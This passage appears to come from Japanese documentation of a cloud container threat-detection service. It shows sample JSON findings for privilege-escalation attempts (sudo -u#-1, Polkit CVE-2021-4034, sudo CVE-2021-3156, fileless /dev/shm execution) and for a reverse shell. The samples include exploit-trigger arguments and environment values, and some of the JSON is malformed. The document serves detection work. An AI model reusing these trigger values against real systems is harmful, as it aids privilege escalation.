        "cloudLoggingEntry": {
          "resourceContainer": "projects/770715367326",
          "timestamp": "2025-07-22T00:07:48.052030557Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "EXPLOITATION_FOR_PRIVILEGE_ESCALATION"
      ],
      "additionalTactics": [
        "DEFENSE_EVASION",
        "PRIVILEGE_ESCALATION"
      ],
      "additionalTechniques": [
        "ABUSE_ELEVATION_CONTROL_MECHANISM"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
   "processes": [
      {
        "binary": {
          "path": "\"/tmp/sudo\"",
          "size": "142312",
          "sha256": "1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af",
          "hashedSize": "142312",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"/tmp/sudo\"",
          "\"-u#-1\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-abuse-sudo-2025-07-21-17-20-36-utc\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"TERM\"",
            "val": "\"xterm\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"1\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"_\"",
            "val": "\"/tmp/sudo\""
          }
        ],
        "pid": "10",
        "parentPid": "1",
        "userId": "0"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_abuse_sudo_for_privilege_escalation"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
    

権限昇格: /dev/shm でのファイルレス実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Privilege Escalation: Fileless Execution in /dev/shm",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "PROCESS_INJECTION"
      ]
      "additionalTactics": [
        "DEFENSE_EVASION"
      ],
      "additionalTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER",
        "UNIX_SHELL",
        "HIDE_ARTIFACTS"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/dev/shm/echo\"",
          "size": "39096",
          "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",
          "hashedSize": "39096",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"eho\"",
          "\"Hello World\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "HIGH",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_fileless_execution_detection"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

権限昇格: Polkit のローカル権限昇格の脆弱性(CVE-2021-4034)

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)",
    "chokepoint": {},
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2025-07-22T00:07:48Z"
      }
    ],
    "createTime": "2025-07-22T00:07:54.853Z",
    "database": {},
    "dataProtectionKeyGovernance": {},
    "eventTime": "2025-07-22T00:07:54.627Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/770715367326",
          "timestamp": "2025-07-22T00:07:48.052030557Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "EXPLOITATION_FOR_PRIVILEGE_ESCALATION"
      ],
      "additionalTactics": [
        "RESOURCE_DEVELOPMENT"
      ],
      "additionalTechniques": [
        "OBTAIN_CAPABILITIES",
        "OBTAIN_CAPABILITIES_VULNERABILITIES"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"pkexec\"",
          "size": "142312",
          "sha256": "1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af",
          "hashedSize": "142312",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"pkexec\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"GCONV_PATH\"",
            "val": "\"junk\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-polkit-2025-07-21-23-06-20-utc\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/home/ubuntu\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"TERM\"",
            "val": "\"xterm\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"1\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"_\"",
            "val": "\"/tmp/pkexec\""
          }
        ],
        "pid": "9",
        "parentPid": "1",
        "userId": "0"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_polkit_local_privilege_escalation_vulnerability"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
    

権限昇格: Sudo による権限昇格の可能性(CVE-2021-3156)

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)",
    "chokepoint": {},
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2025-07-22T00:07:48Z"
      }
    ],
    "createTime": "2025-07-22T00:07:54.853Z",
    "database": {},
    "dataProtectionKeyGovernance": {},
    "eventTime": "2025-07-22T00:07:54.627Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/770715367326",
          "timestamp": "2025-07-22T00:07:48.052030557Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "EXPLOITATION_FOR_PRIVILEGE_ESCALATION"
      ],
      "additionalTactics": [
        "DEFENSE_EVASION",
        "PRIVILEGE_ESCALATION",
        "RESOURCE_DEVELOPMENT"
      ],
      "additionalTechniques": [
        "ABUSE_ELEVATION_CONTROL_MECHANISM",
        "ABUSE_ELEVATION_CONTROL_MECHANISM_SUDO_AND_SUDO_CACHING",
        "OBTAIN_CAPABILITIES",
        "OBTAIN_CAPABILITIES_VULNERABILITIES"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"sudo\"",
          "size": "142312",
          "sha256": "1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af",
          "hashedSize": "142312",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"sudo\"",
          "\"-s\"",
          "\"123\\\\\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-sudo-potential-2025-07-21-23-57-06-utc\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/home/ubuntu\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"TERM\"",
            "val": "\"xterm\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"1\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"_\"",
            "val": "\"/tmp/sudo\""
          }
        ],
        "pid": "9",
        "parentPid": "1",
        "userId": "0"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_sudo_potential_privilege_escalation"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
    

リバースシェル

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Reverse Shell",
    "sourceProperties": {
      "Reverse_Shell_Stdin_Redirection_Src_Ip": "SOURCE_IP_ADDRESS",
      "Environment_Variables": ["HOSTNAME\u003dreverse-shell",
      "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443", "PYTHONUNBUFFERED\u003d1",
      "KUBERNETES_SERVICE_PORT\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS",
      "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
      ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
      , "PWD\u003d/home/vmagent/app", "LANG\u003dC.UTF-8", "SHLVL\u003d1",
      "HOME\u003d/root", "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "DEBIAN_FRONTEND\u003dnoninteractive", "PORT\u003d8080",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT", "_\u003d/bin/echo"],
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Container_Creation_Timestamp": {
        "seconds": 1.617989861E9,
        "nanos": 0.0
      },
      "Pod_Name": "POD_NAME",
      "Container_Name": "CONTAINER_NAME",
      "Process_Arguments": ["BINARY_PATH", "BINARY_NAME"],
      "Pid": 15.0,
      "Reverse_Shell_Stdin_Redirection_Dst_Port": DESTINATION_PORT,
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Reverse_Shell_Stdin_Redirection_Dst_Ip": "DESTINATION_IP_ADDRESS",
      "Pod_Namespace": "default",
      "VM_Instance_Name": "INSTANCE_ID",
      "Reverse_Shell_Stdin_Redirection_Src_Port": SOURCE_PORT,
      "description": "A process started with stream redirection to a remote
      connected socket. With a reverse shell, an attacker can communicate from a
      compromised workload to an attacker-controlled machine. The attacker can
      then command and control the workload to perform desired actions, for
      example as part of a botnet.",
      "Parent_Pid": 1.0,
      "Process_Creation_Timestamp": {
        "seconds": 1.61798989E9,
        "nanos": 6.16573691E8
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:38:10.904Z",
    "createTime": "2021-04-09T17:38:15.486Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Reverse_Shell_Stdin_Redirection_Dst_Ip": {
        "primitiveDataType": "STRING"
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Reverse_Shell_Stdin_Redirection_Src_Ip": {
        "primitiveDataType": "STRING"
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Reverse_Shell_Stdin_Redirection_Dst_Port": {
        "primitiveDataType": "NUMBER"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Reverse_Shell_Stdin_Redirection_Src_Port": {
        "primitiveDataType": "NUMBER"
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
